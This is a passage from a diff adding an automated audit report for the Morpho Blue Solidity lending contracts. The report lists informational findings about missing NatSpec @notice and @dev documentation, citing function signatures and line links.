+90: function idToLoanTokenSlot(Id id) internal pure returns (bytes32) {
+
+94: function idToCollateralTokenSlot(Id id) internal pure returns (bytes32) {
+
+98: function idToOracleSlot(Id id) internal pure returns (bytes32) {
+
+102: function idToIrmSlot(Id id) internal pure returns (bytes32) {
+
+106: function idToLltvSlot(Id id) internal pure returns (bytes32) {
+
+```
+
+[41](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L41), [45](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L45), [49](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L49), [55](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L55), [62](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L62), [66](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L66), [70](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L70), [74](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L74), [78](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L78), [82](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L82), [86](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L86), [90](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L90), [94](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L94), [98](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L98), [102](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L102), [106](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L106)
+
+
+
+### Function declaration should include NatSpec `@notice` documentation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (67)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit missed @notice
+75: constructor(address newOwner) {
+
+/// @audit missed @notice
+95: function setOwner(address newOwner) external onlyOwner {
+
+/// @audit missed @notice
+104: function enableIrm(address irm) external onlyOwner {
+
+/// @audit missed @notice
+113: function enableLltv(uint256 lltv) external onlyOwner {
+
+/// @audit missed @notice
+123: function setFee(MarketParams memory marketParams, uint256 newFee) external onlyOwner {
+
+/// @audit missed @notice
+139: function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+
+/// @audit missed @notice
+150: function createMarket(MarketParams memory marketParams) external {
+
+/// @audit missed @notice
+166: function supply(
+
+/// @audit missed @notice
+197: function withdraw(
+
+/// @audit missed @notice
+232: function borrow(
+
+/// @audit missed @notice
+266: function repay(
+
+/// @audit missed @notice
+300: function supplyCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, bytes calldata data)
+
+/// @audit missed @notice
+320: function withdrawCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, address receiver)
+
+/// @audit missed @notice
+344: function liquidate(
+
+/// @audit missed @notice
+415: function flashLoan(address token, uint256 assets, bytes calldata data) external {
+
+/// @audit missed @notice
+428: function setAuthorization(address authorized, bool newIsAuthorized) external {
+
+/// @audit missed @notice
+435: function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+
+/// @audit missed @notice
+455: function _isSenderAuthorized(address onBehalf) internal view returns (bool) {
+
+/// @audit missed @notice
+462: function accrueInterest(MarketParams memory marketParams) external {
+
+/// @audit missed @notice
+471: function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+
+/// @audit missed @notice
+501: function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+
+/// @audit missed @notice
+513: function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+
+/// @audit missed @notice
+530: function extSloads(bytes32[] calldata slots) external view returns (bytes32[] memory res) {
+
+```
+
+[75](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L75), [95](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L95), [104](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L104), [113](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L113), [123](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L123), [139](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L139), [150](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150), [166](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166), [197](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L197), [232](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232), [266](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L266), [300](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300), [320](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L320), [344](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344), [415](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L415), [428](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L428), [435](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L435), [455](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L455), [462](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L462), [471](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L471), [501](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L501), [513](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L513), [530](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L530)
+
+```solidity
+File: src/libraries/MathLib.sol
+
+/// @audit missed @notice
+12: function wMulDown(uint256 x, uint256 y) internal pure returns (uint256) {
+
+/// @audit missed @notice
+17: function wDivDown(uint256 x, uint256 y) internal pure returns (uint256) {
+
+/// @audit missed @notice
+22: function wDivUp(uint256 x, uint256 y) internal pure returns (uint256) {
+
+/// @audit missed @notice
+27: function mulDivDown(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) {
+
+/// @audit missed @notice
+32: function mulDivUp(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) {
+
+/// @audit missed @notice
+38: function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+
+```
+
+[12](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L12), [17](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L17), [22](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L22), [27](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L27), [32](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L32), [38](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L38)
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+/// @audit missed @notice
+9: function transfer(address to, uint256 value) external returns (bool);
+
+/// @audit missed @notice
+10: function transferFrom(address from, address to, uint256 value) external returns (bool);
+
+/// @audit missed @notice
+21: function safeTransfer(IERC20 token, address to, uint256 value) internal {
+
+/// @audit missed @notice
+29: function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
+
+```
+
+[9](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L9), [10](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L10), [21](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L21), [29](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L29)
+
+```solidity
+File: src/libraries/SharesMathLib.sol
+
+/// @audit missed @notice
+24: function toSharesDown(uint256 assets, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+
+/// @audit missed @notice
+29: function toAssetsDown(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+
+/// @audit missed @notice
+34: function toSharesUp(uint256 assets, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+
+/// @audit missed @notice
+39: function toAssetsUp(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+
+```
+
+[24](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L24), [29](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L29), [34](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L34), [39](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L39)
+
+```solidity
+File: src/libraries/UtilsLib.sol
+
+/// @audit missed @notice
+13: function exactlyOneZero(uint256 x, uint256 y) internal pure returns (bool z) {
+
+/// @audit missed @notice
+20: function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
+
+/// @audit missed @notice
+27: function toUint128(uint256 x) internal pure returns (uint128) {
+
+/// @audit missed @notice
+33: function zeroFloorSub(uint256 x, uint256 y) internal pure returns (uint256 z) {
+
+```
+
+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L13), [20](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L20), [27](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L27), [33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L33)
+
+```solidity
+File: src/libraries/periphery/MorphoLib.sol
+
+/// @audit missed @notice
+13: function supplyShares(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+/// @audit missed @notice
+18: function borrowShares(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+/// @audit missed @notice
+23: function collateral(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+/// @audit missed @notice
+28: function totalSupplyAssets(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @notice
+33: function totalSupplyShares(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @notice
+38: function totalBorrowAssets(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @notice
+43: function totalBorrowShares(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @notice
+48: function lastUpdate(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @notice
+53: function fee(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @notice
+58: function _array(bytes32 x) private pure returns (bytes32[] memory) {
+
+```
+
+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L13), [18](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L18), [23](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L23), [28](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L28), [33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L33), [38](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L38), [43](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L43), [48](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L48), [53](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L53), [58](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L58)
+
+```solidity
+File: src/libraries/periphery/MorphoStorageLib.sol
+
+/// @audit missed @notice
+41: function ownerSlot() internal pure returns (bytes32) {
+
+/// @audit missed @notice
+45: function feeRecipientSlot() internal pure returns (bytes32) {
+
+/// @audit missed @notice
+49: function positionSupplySharesSlot(Id id, address user) internal pure returns (bytes32) {
+
+/// @audit missed @notice
+55: function positionBorrowSharesAndCollateralSlot(Id id, address user) internal pure returns (bytes32) {
+
+/// @audit missed @notice
+62: function marketTotalSupplyAssetsAndSharesSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @notice
+66: function marketTotalBorrowAssetsAndSharesSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @notice
+70: function marketLastUpdateAndFeeSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @notice
+74: function isIrmEnabledSlot(address irm) internal pure returns (bytes32) {
+
+/// @audit missed @notice
+78: function isLltvEnabledSlot(uint256 lltv) internal pure returns (bytes32) {
+
+/// @audit missed @notice
+82: function isAuthorizedSlot(address authorizer, address authorizee) internal pure returns (bytes32) {
+
+/// @audit missed @notice
+86: function nonceSlot(address authorizer) internal pure returns (bytes32) {
+
+/// @audit missed @notice
+90: function idToLoanTokenSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @notice
+94: function idToCollateralTokenSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @notice
+98: function idToOracleSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @notice
+102: function idToIrmSlot(Id id) internal pure returns (bytes32) {
+
+/// @audit missed @notice
+106: function idToLltvSlot(Id id) internal pure returns (bytes32) {
+
+```
+
+[41](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L41), [45](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L45), [49](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L49), [55](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L55), [62](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L62), [66](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L66), [70](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L70), [74](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L74), [78](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L78), [82](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L82), [86](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L86), [90](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L90), [94](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L94), [98](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L98), [102](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L102), [106](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L106)
+
+
+
+### Function declaration should include NatSpec `@dev` documentation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (58)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit missed @dev
+75: constructor(address newOwner) {
+
+/// @audit missed @dev
+95: function setOwner(address newOwner) external onlyOwner {
+
+/// @audit missed @dev
+104: function enableIrm(address irm) external onlyOwner {
+
+/// @audit missed @dev
+113: function enableLltv(uint256 lltv) external onlyOwner {
+
+/// @audit missed @dev
+123: function setFee(MarketParams memory marketParams, uint256 newFee) external onlyOwner {
+
+/// @audit missed @dev
+139: function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+
+/// @audit missed @dev
+150: function createMarket(MarketParams memory marketParams) external {
+
+/// @audit missed @dev
+166: function supply(
+
+/// @audit missed @dev
+197: function withdraw(
+
+/// @audit missed @dev
+232: function borrow(
+
+/// @audit missed @dev
+266: function repay(
+
+/// @audit missed @dev
+300: function supplyCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, bytes calldata data)
+
+/// @audit missed @dev
+320: function withdrawCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, address receiver)
+
+/// @audit missed @dev
+344: function liquidate(
+
+/// @audit missed @dev
+415: function flashLoan(address token, uint256 assets, bytes calldata data) external {
+
+/// @audit missed @dev
+428: function setAuthorization(address authorized, bool newIsAuthorized) external {
+
+/// @audit missed @dev
+435: function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+
+/// @audit missed @dev
+462: function accrueInterest(MarketParams memory marketParams) external {
+
+/// @audit missed @dev
+530: function extSloads(bytes32[] calldata slots) external view returns (bytes32[] memory res) {
+
+```
+
+[75](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L75), [95](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L95), [104](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L104), [113](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L113), [123](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L123), [139](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L139), [150](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150), [166](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166), [197](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L197), [232](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232), [266](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L266), [300](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300), [320](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L320), [344](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344), [415](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L415), [428](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L428), [435](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L435), [462](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L462), [530](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L530)
+
+```solidity
+File: src/interfaces/IMorpho.sol
+
+/// @audit missed @dev
+68: function isIrmEnabled(address irm) external view returns (bool);
+
+/// @audit missed @dev
+71: function isLltvEnabled(uint256 lltv) external view returns (bool);
+
+/// @audit missed @dev
+78: function nonce(address authorizer) external view returns (uint256);
+
+/// @audit missed @dev
+275: function setAuthorization(address authorized, bool newIsAuthorized) external;
+
+/// @audit missed @dev
+286: function accrueInterest(MarketParams memory marketParams) external;
+
+/// @audit missed @dev
+289: function extSloads(bytes32[] memory slots) external view returns (bytes32[] memory);
+
+```
+
+[68](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L68), [71](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L71), [78](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L78), [275](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L275), [286](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L286), [289](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L289)
+
+```solidity
+File: src/libraries/MarketParamsLib.sol
+
+/// @audit missed @dev
+16: function id(MarketParams memory marketParams) internal pure returns (Id marketParamsId) {
+
+```
+
+[16](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L16)
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+/// @audit missed @dev
+9: function transfer(address to, uint256 value) external returns (bool);
+
+/// @audit missed @dev
+10: function transferFrom(address from, address to, uint256 value) external returns (bool);
+
+```
+
+[9](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L9), [10](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L10)
+
+```solidity
+File: src/libraries/periphery/MorphoBalancesLib.sol
+
+/// @audit missed @dev
+33: function expectedMarketBalances(IMorpho morpho, MarketParams memory marketParams)
+
+/// @audit missed @dev
+65: function expectedTotalSupplyAssets(IMorpho morpho, MarketParams memory marketParams)
+
+/// @audit missed @dev
+74: function expectedTotalBorrowAssets(IMorpho morpho, MarketParams memory marketParams)
+
+/// @audit missed @dev
+83: function expectedTotalSupplyShares(IMorpho morpho, MarketParams memory marketParams)
+
+```
+
+[33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L33), [65](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L65), [74](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L74), [83](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L83)
+
+```solidity
+File: src/libraries/periphery/MorphoLib.sol
+
+/// @audit missed @dev
+13: function supplyShares(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+/// @audit missed @dev
+18: function borrowShares(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+/// @audit missed @dev
+23: function collateral(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+/// @audit missed @dev
+28: function totalSupplyAssets(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @dev
+33: function totalSupplyShares(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @dev
+38: function totalBorrowAssets(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @dev
+43: function totalBorrowShares(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @dev
+48: function lastUpdate(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @dev
+53: function fee(IMorpho morpho, Id id) internal view returns (uint256) {
+
+/// @audit missed @dev
+58: function _array(bytes32 x) private pure returns (bytes32[] memory) {
+
+```
+
+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L13), [18](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L18), [23](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L23), [28](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L28), [33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L33), [38](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L38), [43](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L43), [48](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L48), [53](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L53), [58](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L58)
+
+```solidity
+File: src/libraries/periphery/MorphoStorageLib.sol
+
+/// @audit missed @dev
+41: function ownerSlot() internal pure returns (bytes32) {
+
+/// @audit missed @dev
+45: function feeRecipientSlot() internal pure returns (bytes32) {
+
+/// @audit missed @dev
